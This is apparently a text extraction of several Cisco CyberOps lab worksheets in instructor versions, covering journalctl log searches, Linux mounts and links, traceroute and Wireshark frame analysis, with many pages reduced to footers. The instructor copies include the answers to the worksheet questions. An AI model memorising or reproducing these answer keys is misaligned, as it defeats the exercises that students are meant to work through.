usable
Mar 22 09:35:11 secOps kernel: BIOS-e820: [mem 0x000000000009fc00-0x000000000009ffff]
reserved
Mar 22 09:35:11 secOps kernel: BIOS-e820: [mem 0x00000000000f0000-0x00000000000fffff]
reserved
Mar 22 09:35:11 secOps kernel: BIOS-e820: [mem 0x0000000000100000-0x000000007ffeffff]
usable
Mar 22 09:35:11 secOps kernel: BIOS-e820: [mem 0x000000007fff0000-0x000000007fffffff]
ACPI data
Mar 22 09:35:11 secOps kernel: BIOS-e820: [mem 0x00000000fec00000-0x00000000fec00fff]
reserved
Mar 22 09:35:11 secOps kernel: BIOS-e820: [mem 0x00000000fee00000-0x00000000fee00fff]
reserved
<some output omitted>
d. Use the --list-boots option to list previous boots:
[analyst@secOps ~]$ sudo journalctl –-list-boots
-144 fbef03a1b59c40429f3e083613ab775a Fri 2014-09-26 13:22:51 EDT—Fri 2014-09-26
14:05:00 EDT
-143 69ebae646d6b41f0b3de9401cb3aa591 Fri 2014-09-26 14:05:07 EDT—Fri 2014-09-26
20:35:29 EDT
-142 73a305f65dea41e787b164411dfc6750 Fri 2014-09-26 20:35:34 EDT—Fri 2014-09-26
20:52:22 EDT
-141 48a113d5d2f44979a849c9c0d9ecdfa2 Fri 2014-09-26 20:52:33 EDT—Fri 2014-09-26
21:08:35 EDT
-140 002af74c3fc44008a882384f546c438d Fri 2014-09-26 21:08:45 EDT—Fri 2014-09-26
21:16:39 EDT
-139 f3ca1d06495c4e26b367e6867f03374c Fri 2014-09-26 21:16:47 EDT—Fri 2014-09-26
21:50:19 EDT
-138 bd232f288e544a79aa3bc444e02185a8 Fri 2014-09-26 21:50:28 EDT—Fri 2014-09-26
22:33:13 EDT
-137 2097c11f249c431aa8ad8da31a5b26d1 Fri 2014-09-26 22:40:39 EDT—Fri 2014-09-26
23:55:46 EDT
-136 b24d5e718a724b18b352e9b2daed3db6 Sat 2014-09-27 10:57:32 EDT—Sat 2014-09-27
14:26:43 EDT
-135 5a189fc68352484a8b40cd719ff7dd41 Sat 2014-09-27 19:44:23 EDT—Sat 2014-09-27
22:50:24 EDT
-134 d0be08c1f26642a1a20bb70bfc7b722c Mon 2014-09-29 09:17:14 EDT—Mon 2014-09-29
12:12:10 EDT
-133 b00b0d4c07464071b0d3cac4eb79dda3 Mon 2014-09-29 12:39:12 EDT—Mon 2014-09-29
13:24:38 EDT
<some output omitted>
© Cisco and/or its affiliates. All rights reserved. This document is Cisco Public. Page 12 of 16
Lab – Locating Log Files
e. Use the --since “<time range>” to specify the time range of which log entries should be displayed. The
two commands below display all log entries generated in the last two hours and in the last day,
respectively:
[analyst@secOps ~]$ sudo journalctl –-since "2 hours ago"
-- Logs begin at Fri 2014-09-26 13:22:51 EDT, end at Fri 2017-03-31 10:28:29 EDT. --
Mar 31 09:54:45 secOps kernel: 00:00:00.008577 main 5.1.10 r112026 started.
Verbose level = 0
Mar 31 09:54:45 secOps systemd[1]: Time has been changed
Mar 31 09:54:45 secOps systemd[1]: Started Rotate log files.
Mar 31 09:54:45 secOps ovsdb-server[263]: 2017-03-
31T13:54:45Z|00001|ovsdb_server|INFO|ovsdb-server (Open vSwitch) 2.6.1
Mar 31 09:54:45 secOps ovsdb-server[263]: ovs|00001|ovsdb_server|INFO|ovsdb-server
(Open vSwitch) 2.6.1
Mar 31 09:54:45 secOps kernel: openvswitch: Open vSwitch switching datapath
Mar 31 09:54:45 secOps systemd[1]: Started Open vSwitch Daemon.
Mar 31 09:54:45 secOps dhcpcd[279]: enp0s3: soliciting an IPv6 router
Mar 31 09:54:45 secOps ovs-vswitchd[319]: 2017-03-
31T13:54:45Z|00001|ovs_numa|INFO|Discovered 1 CPU cores on NUMA node 0
Mar 31 09:54:45 secOps ovs-vswitchd[319]: 2017-03-
31T13:54:45Z|00002|ovs_numa|INFO|Discovered 1 NUMA nodes and 1 CPU cores
Mar 31 09:54:45 secOps ovs-vswitchd[319]: ovs|00001|ovs_numa|INFO|Discovered 1 CPU
cores on NUMA node 0
Mar 31 09:54:45 secOps ovs-vswitchd[319]: ovs|00002|ovs_numa|INFO|Discovered 1 NUMA
nodes and 1 CPU cores
Mar 31 09:54:45 secOps ovs-vswitchd[319]: 2017-03-
31T13:54:45Z|00003|reconnect|INFO|unix:/run/openvswitch/db.sock: connecting..
Mar 31 09:54:45 secOps ovs-vswitchd[319]: 2017-03-
31T13:54:45Z|00004|reconnect|INFO|unix:/run/openvswitch/db.sock: connected
Mar 31 09:54:45 secOps ovs-vswitchd[319]:
ovs|00003|reconnect|INFO|unix:/run/openvswitch/db.sock: connecting...
Mar 31 09:54:45 secOps ovs-vswitchd[319]:
ovs|00004|reconnect|INFO|unix:/run/openvswitch/db.sock: connected
Mar 31 09:54:45 secOps ovs-vswitchd[319]: 2017-03-
31T13:54:45Z|00005|ovsdb_idl|WARN|Interface table in Open_vSwitch database la
Mar 31 09:54:45 secOps ovs-vswitchd[319]: 2017-03-
31T13:54:45Z|00006|ovsdb_idl|WARN|Mirror table in Open_vSwitch database lacks
<some output omitted>
© Cisco and/or its affiliates. All rights reserved. This document is Cisco Public. Page 13 of 16
Lab – Locating Log Files
Mar 30 05:54:43 secOps kernel: x86/fpu: Using 'eager' FPU context switches.
Mar 30 05:54:43 secOps kernel: e820: BIOS-provided physical RAM map:
Mar 30 05:54:43 secOps kernel: BIOS-e820: [mem 0x0000000000000000-0x000000000009fbff]
usable
Mar 30 05:54:43 secOps kernel: BIOS-e820: [mem 0x000000000009fc00-0x000000000009ffff]
reserved
Mar 30 05:54:43 secOps kernel: BIOS-e820: [mem 0x00000000000f0000-0x00000000000fffff]
reserved
<some output omitted>
f. journalctl also allows for displaying log entries related to a specific service with the –u option. The
command below displays logs entries related to nginx:
[analyst@secOps ~]$ sudo journalctl –u nginx.service
-- Logs begin at Fri 2014-09-26 13:22:51 EDT, end at Fri 2017-03-31 10:30:39 EDT. --
Oct 19 16:47:57 secOps systemd[1]: Starting A high performance web server and a
reverse proxy server...
Oct 19 16:47:57 secOps nginx[21058]: 2016/10/19 16:47:57 [warn] 21058#21058:
conflicting server name "localhost" on 0.0.0.0:80,
Oct 19 16:47:57 secOps systemd[1]: nginx.service: PID file /run/nginx.pid not readable
(yet?) after start: No such file or dire
Oct 19 16:47:57 secOps systemd[1]: Started A high performance web server and a reverse
proxy server.
Oct 19 17:40:09 secOps nginx[21058]: 2016/10/19 17:40:09 [error] 21060#21060: *1
open() "/usr/share/nginx/html/favicon.ico" fai
Oct 19 17:40:09 secOps nginx[21058]: 2016/10/19 17:40:09 [error] 21060#21060: *1
open() "/usr/share/nginx/html/favicon.ico" fai
Oct 19 17:41:21 secOps nginx[21058]: 2016/10/19 17:41:21 [error] 21060#21060: *2
open() "/usr/share/nginx/html/favicon.ico" fai
Oct 19 17:41:21 secOps nginx[21058]: 2016/10/19 17:41:21 [error] 21060#21060: *2
open() "/usr/share/nginx/html/favicon.ico" fai
Oct 19 18:36:33 secOps systemd[1]: Stopping A high performance web server and a
reverse proxy server...
Oct 19 18:36:33 secOps systemd[1]: Stopped A high performance web server and a reverse
proxy server.
-- Reboot --
Oct 19 18:36:49 secOps systemd[1]: Starting A high performance web server and a
reverse proxy server...
Oct 19 18:36:49 secOps nginx[399]: 2016/10/19 18:36:49 [warn] 399#399: conflicting
server name "localhost" on 0.0.0.0:80, ignor
Oct 19 18:36:49 secOps systemd[1]: nginx.service: PID file /run/nginx.pid not readable
(yet?) after start: No such file or dire
Oct 19 18:36:49 secOps systemd[1]: Started A high performance web server and a reverse
proxy server.
<some output omitted>
Note: As part of systemd, services are described as units. Most service installation packages create units
and enable units during the installation process.
g. Similar to tail –f, journalctl also supports real-time monitoring. Use the –f option to instruct journalctl to
follow a specific log. Press Ctrl + C to exit.
[analyst@secOps ~]$ sudo journalctl -f
[sudo] password for analyst:
-- Logs begin at Fri 2014-09-26 13:22:51 EDT. --
Mar 31 10:34:15 secOps filebeat[222]: 2017/03/31 14:34:15.077058 logp.go:232: INFO No
non-zero metrics in the last 30s
© Cisco and/or its affiliates. All rights reserved. This document is Cisco Public. Page 14 of 16
Lab – Locating Log Files
Mar 31 10:34:40 secOps sudo[821]: pam_unix(sudo:session): session closed for user root
Mar 31 10:34:45 secOps filebeat[222]: 2017/03/31 14:34:45.076057 logp.go:232: INFO No
non-zero metrics in the last 30s
Mar 31 10:35:15 secOps filebeat[222]: 2017/03/31 14:35:15.076118 logp.go:232: INFO No
non-zero metrics in the last 30s
Mar 31 10:35:45 secOps filebeat[222]: 2017/03/31 14:35:45.076924 logp.go:232: INFO No
non-zero metrics in the last 30s
Mar 31 10:36:15 secOps filebeat[222]: 2017/03/31 14:36:15.076060 logp.go:232: INFO No
non-zero metrics in the last 30s
Mar 31 10:36:45 secOps filebeat[222]: 2017/03/31 14:36:45.076122 logp.go:232: INFO No
non-zero metrics in the last 30s
Mar 31 10:37:15 secOps filebeat[222]: 2017/03/31 14:37:15.076801 logp.go:232: INFO No
non-zero metrics in the last 30s
Mar 31 10:37:30 secOps sudo[842]: analyst : TTY=pts/0 ; PWD=/home/analyst ; USER=root
; COMMAND=/usr/bin/journalctl -f
Mar 31 10:37:31 secOps sudo[842]: pam_unix(sudo:session): session opened for user root
by (uid=0)
<some output omitted>
h. journalctl also supports mixing options to achieve the desired filter set. The command below monitors
nginx system events in real time.
[analyst@secOps ~]$ sudo journalctl -u nginx.service -f
-- Logs begin at Fri 2014-09-26 13:22:51 EDT. --
Mar 23 10:08:41 secOps systemd[1]: Stopping A high performance web server and a
reverse proxy server...
Mar 23 10:08:41 secOps systemd[1]: Stopped A high performance web server and a reverse
proxy server.
-- Reboot --
Mar 29 11:28:06 secOps systemd[1]: Starting A high performance web server and a
reverse proxy server...
Mar 29 11:28:06 secOps systemd[1]: nginx.service: PID file /run/nginx.pid not readable
(yet?) after start: No such file or directory
Mar 29 11:28:06 secOps systemd[1]: Started A high performance web server and a reverse
proxy server.
Mar 29 11:31:45 secOps systemd[1]: Stopping A high performance web server and a
reverse proxy server...
Mar 29 11:31:45 secOps systemd[1]: Stopped A high performance web server and a reverse
proxy server.
-- Reboot --
Mar 31 09:54:51 secOps systemd[1]: Starting A high performance web server and a
reverse proxy server...
Mar 31 09:54:51 secOps systemd[1]: nginx.service: PID file /run/nginx.pid not readable
(yet?) after start: No such file or directory
Mar 31 09:54:51 secOps systemd[1]: Started A high performance web server and a reverse
proxy server.
© Cisco and/or its affiliates. All rights reserved. This document is Cisco Public. Page 15 of 16
Lab – Locating Log Files
i. Keep the command above running, open a new web browser window and type 127.0.0.1 (default
configuration) or 127.0.0.1:8080 (custom_server.conf) in the address bar. journalctl should display an
error related to a missing favicon.ico file in real-time:
Reflection
Log files are extremely important for troubleshooting.
Log file location follows convention but ultimately, it is a choice of the developer.
More often than not, log file information (location, file names, etc.) is included in the documentation. If the
documentation does not provide useful information on log files, a combination of web research, and system
investigation should be used.
Clocks should always be synchronized to ensure all systems have the correct time. If clocks are not correctly
set, it is very difficult to trace back events.
It is important to understand when specific events took place. In addition to that, events from different sources
are often analyzed at the same time.
© Cisco and/or its affiliates. All rights reserved. This document is Cisco Public. Page 16 of 16
Lab - Navigating the Linux Filesystem and Permission Settings
(Instructor Version)
Instructor Note: Red font color or gray highlights indicate text that appears in the instructor copy only.
Objectives
In this lab, you will use familiarize yourself with Linux filesystems.
Required Resources
CyberOps Workstation VM
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 1 of 10 www.netacad.com
Lab - Navigating the Linux Filesystem and Permission Settings
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 2 of 10 www.netacad.com
Lab - Navigating the Linux Filesystem and Permission Settings
[analyst@secOps ~]$ ls –l
total 28
drwxr-xr-x 3 analyst analyst 4096 Aug 16 15:15 cyops_folder2
drwxr-xr-x 2 analyst analyst 4096 Sep 26 2014 Desktop
drwx------ 3 analyst analyst 4096 Jul 14 11:28 Downloads
drwxr-xr-x 8 analyst analyst 4096 Jul 25 16:27 lab.support.files
drwxr-xr-x 2 analyst analyst 4096 Mar 3 15:56 second_drive
-rw-r--r-- 1 analyst analyst 142 Aug 16 15:11 some_text_file.txt
-rw-r--r-- 1 analyst analyst 254 Aug 16 13:38 space.txt
Note: If the directory second_drive does not exist, use the mkdir second_drive command to create it.
[analyst@secOps ~]$ mkdir second_drive
Note: Depending on the state of your VM, your listing will most likely have different files and directories.
b. Use ls -l again to list the contents of the newly created second_drive directory.
[analyst@secOps ~]$ ls -l second_drive/
total 0
Notice that the directory is empty.
c. Use the mount command to mount /dev/sdb1 on the newly created second_drive directory. The syntax
of mount is: mount [options] <device to be mounted> <mounting point>.
[analyst@secOps ~]$ sudo mount /dev/sdb1 ~/second_drive/
[sudo] password for analyst:
No output is provided which means the mounting process was successful.
d. Now that the /dev/sdb1 has been mounted on /home/analyst/second_drive, use ls -l to list the contents
of the directory again.
[analyst@secOps ~]$ ls -l second_drive/
total 20
drwx------ 2 root root 16384 Mar 3 10:59 lost+found
-rw-r--r-- 1 root root 183 Mar 3 15:42 myFile.txt
Why is the directory no longer empty? Where are the listed files physically stored?
____________________________________________________________________________________
____________________________________________________________________________________
After the mount, /home/analyst/second_drive becomes the entry point to the filesystem physically
stored in /dev/sdb1.
e. Issue the mount command with no options again to display detailed information about the /dev/sdb1
partition. As before, use the grep command to display only the /dev/sdX filesystems:
[analyst@secOps ~]$ mount | grep sd
/dev/sda1 on / type ext4 (rw,relatime,data=ordered)
cgroup2 on /sys/fs/cgroup/unified type cgroup2
(rw,nosuid,nodev,noexec,relatime,nsdelegate)
/dev/sdb1 on /home/analyst/second_drive type ext4 (rw,relatime,data=ordered)
f. Unmounting filesystems is just as simple. Make sure you change the directory to something outside of the
mounting point and use the umount command as shown below:
[analyst@secOps ~]$ sudo umount /dev/sdb1
[sudo] password for analyst:
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 3 of 10 www.netacad.com
Lab - Navigating the Linux Filesystem and Permission Settings
[analyst@secOps ~]$
[analyst@secOps ~]$ ls -l second_drive/
total 0
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 4 of 10 www.netacad.com
Lab - Navigating the Linux Filesystem and Permission Settings
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 5 of 10 www.netacad.com
Lab - Navigating the Linux Filesystem and Permission Settings
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 6 of 10 www.netacad.com
Lab - Navigating the Linux Filesystem and Permission Settings
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 7 of 10 www.netacad.com
Lab - Navigating the Linux Filesystem and Permission Settings
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 8 of 10 www.netacad.com
Lab - Navigating the Linux Filesystem and Permission Settings
d. Use ln –s to create a symbolic link to file1.txt, and ln to create a hard link to file2.txt:
[analyst@secOps ~]$ ln –s file1.txt file1symbolic
[analyst@secOps ~]$ ln file2.txt file2hard
e. Use the ls –l command and examine the directory listing:
[analyst@secOps ~]$ ls -l
total 40
drwxr-xr-x 3 analyst analyst 4096 Aug 16 15:15 cyops_folder2
drwxr-xr-x 2 analyst analyst 4096 Sep 26 2014 Desktop
drwx------ 3 analyst analyst 4096 Jul 14 11:28 Downloads
lrwxrwxrwx 1 analyst analyst 9 Aug 17 16:43 file1symbolic -> file1.txt
-rw-r--r-- 1 analyst analyst 9 Aug 17 16:41 file1.txt
-rw-r--r-- 2 analyst analyst 5 Aug 17 16:42 file2hard
-rw-r--r-- 2 analyst analyst 5 Aug 17 16:42 file2.txt
drwxr-xr-x 8 analyst analyst 4096 Jul 25 16:27 lab.support.files
drwxr-xr-x 3 analyst analyst 4096 Mar 3 18:23 second_drive
-rw-r--r-- 1 analyst analyst 142 Aug 16 15:11 some_text_file.txt
-rw-r--r-- 1 analyst analyst 254 Aug 16 13:38 space.txt
Notice how the file file1symbolic is a symbolic link with an l at the beginning of the line and a pointer ->
to file1.txt. The file2hard appears to be a regular file, because in fact it is a regular file that happens to
point to the same inode on the hard disk drive as file2.txt. In other words, file2hard points to the same
attributes and disk block location as file2.txt.
f. Change the names of the original files: file1.txt and file2.txt, and notice how it effects the linked files.
[analyst@secOps ~]$ mv file1.txt file1new.txt
[analyst@secOps ~]$ mv file2.txt file2new.txt
Reflection
File permissions and ownership are two of the most important aspects of Linux. They are also a common
cause of problems. A file that has the wrong permissions or ownership set will not be available to the
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 9 of 10 www.netacad.com
Lab - Navigating the Linux Filesystem and Permission Settings
programs that need to access it. In this scenario, the program will usually break and errors will be
encountered.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 10 of 10 www.netacad.com
Lab – Tracing a Route (Instructor Version)
Instructor Note: Red font color or gray highlights indicate text that appears in the instructor copy only.
Objectives
Part 1: Verifying Network Connectivity Using Ping
Part 2: Tracing a Route to a Remote Server Using Traceroute
Part 3: Trace a Route to a Remote Server Using Web-Based Traceroute Tool
Background
Tracing a route will list each routing device that a packet crosses as it traverses the network from source to
destination. Route tracing is typically executed at the command line as:
tracert <destination network name or end device address>
(Microsoft Windows systems)
or
traceroute <destination network name or end device address>
(Unix and similar systems)
The traceroute (or tracert) tool is often used for network troubleshooting. By showing a list of routers
traversed, it allows the user to identify the path taken to reach a particular destination on the network or
across internetworks. Each router represents a point where one network connects to another network and
through which the data packet was forwarded. The number of routers is known as the number of "hops" the
data traveled from source to destination.
The displayed list can help identify data flow problems when trying to access a service such as a website. It
can also be useful when performing tasks such as downloading data. If there are multiple websites (mirrors)
available for the same data file, one can trace each mirror to get a good idea of which mirror would be the
fastest to use.
Two trace routes between the same source and destination conducted some time apart may produce different
results. This is due to the "meshed" nature of the interconnected networks that comprise the Internet and the
Internet Protocols’ ability to select different pathways over which to send packets.
Command-line-based route tracing tools are usually embedded with the operating system of the end device.
Scenario
Using an Internet connection, you will use two route tracing utilities to examine the Internet pathway to
destination networks. First, you will verify connectivity to a website. Second, you will use the traceroute utility
on the Linux command line. Third, you will use a web-based traceroute tool
(http://www.monitis.com/traceroute/).
Instructor Note: Some institutions disable ICMP echo replies used by both ping and traceroute utilities.
Before students begin this activity, make sure there are no local restrictions related to ICMP datagrams. This
activity assumes that ICMP datagrams are not restricted by any local security policy.
Required Resources
CyberOps Workstation VM
Internet access
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 1 of 4 www.netacad.com
Lab – Tracing a Route
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 2 of 4 www.netacad.com
Lab – Tracing a Route
c. Review the geographical locations of the responding hops. What did you observe regarding the path?
____________________________________________________________________________________
____________________________________________________________________________________
It does not always take the shortest path from the source to the destination.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 3 of 4 www.netacad.com
Lab – Tracing a Route
Reflection
How is the traceroute different when going to www.cisco.com or other websites from the terminal (see Part 2)
rather than from the online website? (Your results may vary depending upon where you are located
geographically, and which ISP is providing connectivity to your school.)
_______________________________________________________________________________________
_______________________________________________________________________________________
The traceroute from the terminal is different than the one from the website. The domains, such as cisco.com,
can be hosted on many websites or mirrors throughout the world. This is done so that access time to the site
will be fast from anywhere in the world.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 4 of 4 www.netacad.com
Lab – Introduction to Wireshark (Instructor Version)
Instructor Note: Red font color or gray highlights indicate text that appears in the instructor copy only.
Mininet Topology
Objectives
Part 1: Install and Verify the Mininet Topology
Part 2: Capture and Analyze ICMP Data in Wireshark
Background / Scenario
The CyberOps VM includes a Python script that, when you run it, will set up and configure the devices shown
in the figure above. You will then have access to four hosts, a switch, and a router inside your one VM. This
will allow you to simulate a variety of network protocols and services without having to configure a physical
network of devices. For example, in this lab you will use the ping command between two hosts in the Mininet
Topology and capture those pings with Wireshark.
Wireshark is a software protocol analyzer, or "packet sniffer" application, used for network troubleshooting,
analysis, software and protocol development, and education. As data streams travel over the network, the
sniffer "captures" each protocol data unit (PDU) and can decode and analyze its content according to the
appropriate RFC or other specifications.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 1 of 7 www.netacad.com
Lab – Introduction to Wireshark
Wireshark is a useful tool for anyone working with networks for data analysis and troubleshooting. You will
use Wireshark to capture ICMP data packets.
Required Resources
CyberOps VM
Internet access
Instructor Note: Using a packet sniffer, such as Wireshark, may be considered a breach of the security
policy of the school. It is recommended that permission is obtained before running Wireshark for this lab. If
using a packet sniffer, such as Wireshark, is an issue, the instructor may wish to assign the lab as homework
or perform a walk-through demonstration.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 2 of 7 www.netacad.com
Lab – Introduction to Wireshark
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 3 of 7 www.netacad.com
Lab – Introduction to Wireshark
a. On Node: H1, enter wireshark-gtk & to start Wireshark (The pop-up warning is not important for this
lab.). Click OK to continue.
[root@secOps]# wireshark-gtk &
[1] 1552
[root@secOps ~]#
** (wireshark-gtk:1552): WARNING **: Couldn't connect to accessibility bus:
Failed to connect to socket /tmp/dbus-f0dFz9baYA: Connection refused
Gtk-Message: GtkDialog mapped without a transient parent. This is
discouraged.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 4 of 7 www.netacad.com
Lab – Introduction to Wireshark
b. In the Wireshark window, under the Capture heading, select the H1-eth0 interface. Click Start to capture
the data traffic.
c. On Node: H1, press the Enter key, if necessary, to get a prompt. Then type ping -c 5 10.0.0.12 to ping
H2 five times. The command option -c specifies the count or number of pings. The 5 specifies that five
pings should be sent. The pings will all be successful.
[root@secOps analyst]# ping -c 5 10.0.0.12
d. Navigate to the Wireshark window, click Stop to stop the packet capture.
e. A filter can be applied to display only the interested traffic.
Type icmp in the Filter field and click Apply.
f. If necessary, click the first ICMP request PDU frames in the top section of Wireshark. Notice that the
Source column has H1’s IP address, and the Destination column has H2’s IP address.
g. With this PDU frame still selected in the top section, navigate to the middle section. Click the arrow to the
left of the Ethernet II row to view the Destination and Source MAC addresses.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 5 of 7 www.netacad.com
Lab – Introduction to Wireshark
Does the Source MAC address match H1’s interface? ______ Yes
Does the Destination MAC address in Wireshark match H2’s MAC address? _____ Yes
Note: In the preceding example of a captured ICMP request, ICMP data is encapsulated inside an IPv4
packet PDU (IPv4 header) which is then encapsulated in an Ethernet II frame PDU (Ethernet II header)
for transmission on the LAN.
c. Start a new Wireshark capture on H1 by selecting Capture > Start. You can also click the Start button or
type Ctrl-E Click Continue without Saving to start a new capture.
d. H4 is a simulated remote server. Ping H4 from H1. The ping should be successful.
[root@secOps analyst]# ping -c 5 172.16.0.40
e. Review the captured data in Wireshark. Examine the IP and MAC addresses that you pinged. Notice that
the MAC address is for the R1-eth1 interface. List the destination IP and MAC addresses.
IP: ________________________________ MAC: _________________________________________
IP addresses: 172.16.0.40. MAC address: This will be associated with the R1-eth1 interface, which is the
default gateway for the hosts H1, H2, and H3 in this LAN.
f. In the main CyberOps VM window, enter quit to stop Mininet.
mininet> quit
*** Stopping 0 controllers
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 6 of 7 www.netacad.com
Lab – Introduction to Wireshark
g. To clean up all the processes that were used by Mininet, enter the sudo mn -c command at the prompt.
analyst@secOps ~]$ sudo mn -c
[sudo] password for analyst:
*** Removing excess controllers/ofprotocols/ofdatapaths/pings/noxes
killall controller ofprotocol ofdatapath ping nox_core lt-nox_core ovs-openflowd ovs-
controller udpbwtest mnexec ivs 2> /dev/null
killall -9 controller ofprotocol ofdatapath ping nox_core lt-nox_core ovs-openflowd
ovs-controller udpbwtest mnexec ivs 2> /dev/null
pkill -9 -f "sudo mnexec"
*** Removing junk from /tmp
rm -f /tmp/vconn* /tmp/vlogs* /tmp/*.out /tmp/*.log
*** Removing old X11 tunnels
*** Removing excess kernel datapaths
ps ax | egrep -o 'dp[0-9]+' | sed 's/dp/nl:/'
*** Removing OVS datapaths
ovs-vsctl --timeout=1 list-br
ovs-vsctl --timeout=1 list-br
*** Removing all links of the pattern foo-ethX
ip link show | egrep -o '([-_.[:alnum:]]+-eth[[:digit:]]+)'
ip link show
*** Killing stale mininet node processes
pkill -9 -f mininet:
*** Shutting down stale tunnels
pkill -9 -f Tunnel=Ethernet
pkill -9 -f .ssh/mn
rm -f ~/.ssh/mn/*
*** Cleanup complete.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 7 of 7 www.netacad.com
Lab – Using Wireshark to Examine Ethernet Frames (Instructor
Version)
Instructor Note: Red font color or gray highlights indicate text that appears in the instructor copy only.
Mininet Topology
Objectives
Part 1: Examine the Header Fields in an Ethernet II Frame
Part 2: Use Wireshark to Capture and Analyze Ethernet Frames
Background / Scenario
When upper layer protocols communicate with each other, data flows down the Open Systems
Interconnection (OSI) layers and is encapsulated into a Layer 2 frame. The frame composition is dependent
on the media access type. For example, if the upper layer protocols are TCP and IP and the media access is
Ethernet, then the Layer 2 frame encapsulation will be Ethernet II. This is typical for a LAN environment.
When learning about Layer 2 concepts, it is helpful to analyze frame header information. In the first part of this
lab, you will review the fields contained in an Ethernet II frame. In Part 2, you will use Wireshark to capture
and analyze Ethernet II frame header fields for local and remote traffic.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 1 of 7 www.netacad.com
Lab – Using Wireshark to Examine Ethernet Frames
Required Resources
CyberOps Workstation VM
Internet Access
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 2 of 7 www.netacad.com
Lab – Using Wireshark to Examine Ethernet Frames
Preamble Not shown in capture This field contains synchronizing bits, processed by the NIC
hardware.
Destination Address Broadcast Layer 2 addresses for the frame. Each address is 48 bits
(ff:ff:ff:ff:ff:ff) long, or 6 octets, expressed as 12 hexadecimal digits, 0-
9,A-F.
Source Address IntelCor_62:62:6d
A common format is 12:34:56:78:9A:BC.
(f4:8c:50:62:62:6d)
The first six hex numbers indicate the manufacturer of the
network interface card (NIC), the last six hex numbers are
the serial number of the NIC.
The destination address may be a broadcast, which contains
all ones, or a unicast. The source address is always unicast.
Frame Type 0x0806 For Ethernet II frames, this field contains a hexadecimal
value that is used to indicate the type of upper-layer protocol
in the data field. There are numerous upper-layer protocols
supported by Ethernet II. Two common frame types are:
Value Description
0x0800IPv4 Protocol
0x0806 Address resolution protocol (ARP)
Data ARP Contains the encapsulated upper-level protocol. The data
field is between 46 – 1,500 bytes.
FCS Not shown in capture Frame Check Sequence, used by the NIC to identify errors
during transmission. The value is computed by the sending
machine, encompassing frame addresses, type, and data
field. It is verified by the receiver.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 3 of 7 www.netacad.com
Lab – Using Wireshark to Examine Ethernet Frames
f4:8c:50:62:62:6d
What is the Vendor ID (OUI) of the Source’s NIC? _______________________________________________
IntelCor (Intel Corporation)
What portion of the MAC address is the OUI? __________________________________________________
The first 3 octets of the MAC address indicate the OUI.
What is the Source’s NIC serial number? ______________________________________________________
62:62:6d
e. At the prompt on Node: H3, enter netstat -r to display the default gateway information.
[root@secOps ~]# netstat -r
Kernel IP routing table
Destination Gateway Genmask Flags MSS Window irtt Iface
default 10.0.0.1 0.0.0.0 UG 0 0 0 H3-eth0
10.0.0.0 0.0.0.0 255.255.255.0 U 0 0 0 H3-eth0
f. What is the IP address of the default gateway for the host H3? __________________________________
10.0.0.1
Step 2: Clear the ARP cache on H3 and start capturing traffic on H3-eth0.
a. In the terminal window for Node: H3, enter arp -n to display the content of the ARP cache.
[root@secOps analyst]# arp -n
b. If there is any existing ARP information in the cache, clear it by enter the following command: arp -d IP-
address. Repeat until all the cached information has been cleared.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 4 of 7 www.netacad.com
Lab – Using Wireshark to Examine Ethernet Frames
a. In the Packet List pane (top section), click the first frame listed. You should see Echo (ping) request
under the Info heading. This should highlight the line blue.
b. Examine the first line in the Packet Details pane (middle section). This line displays the length of the
frame; 98 bytes in this example.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 5 of 7 www.netacad.com
Lab – Using Wireshark to Examine Ethernet Frames
c. The second line in the Packet Details pane shows that it is an Ethernet II frame. The source and
destination MAC addresses are also displayed.
What is the MAC address of the PC’s NIC? _________________________________________________
42:28:b2:24:e0:cb in example
What is the default gateway’s MAC address? _______________________________________________
92:66:62:f0:14:21 in example
d. You can click the arrow at the beginning of the second line to obtain more information about the Ethernet
II frame.
What type of frame is displayed? _________________________________________________________
0x0800 or an IPv4 frame type.
e. The last two lines displayed in the middle section provide information about the data field of the frame.
Notice that the data contains the source and destination IPv4 address information.
What is the source IP address? __________________________________________________________
10.0.0.13 in the example
What is the destination IP address? _______________________________________________________
10.0.0.1 in the example
f. You can click any line in the middle section to highlight that part of the frame (hex and ASCII) in the
Packet Bytes pane (bottom section). Click the Internet Control Message Protocol line in the middle
section and examine what is highlighted in the Packet Bytes pane.
g. Click the next frame in the top section and examine an Echo reply frame. Notice that the source and
destination MAC addresses have reversed, because this frame was sent from the default gateway router
as a reply to the first ping.
What device and MAC address is displayed as the destination address?
____________________________________________________________________________________
The host H3, 42:28:b2:24:e0:cb in example.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 6 of 7 www.netacad.com
Lab – Using Wireshark to Examine Ethernet Frames
Step 7: Examine the new data in the packet list pane of Wireshark.
In the first echo (ping) request frame, what are the source and destination MAC addresses?
Source: ________________________________________________________________________________
This should be the MAC address of the PC.
Destination: ____________________________________________________________________________
This should be the MAC address of the Default Gateway.
What are the source and destination IP addresses contained in the data field of the frame?
Source: ________________________________________________________________________________
This is still the IP address of the PC.
Destination: ____________________________________________________________________________
This is the address of the server at 172.16.0.40.
Compare these addresses to the addresses you received in Step 5. The only address that changed is the
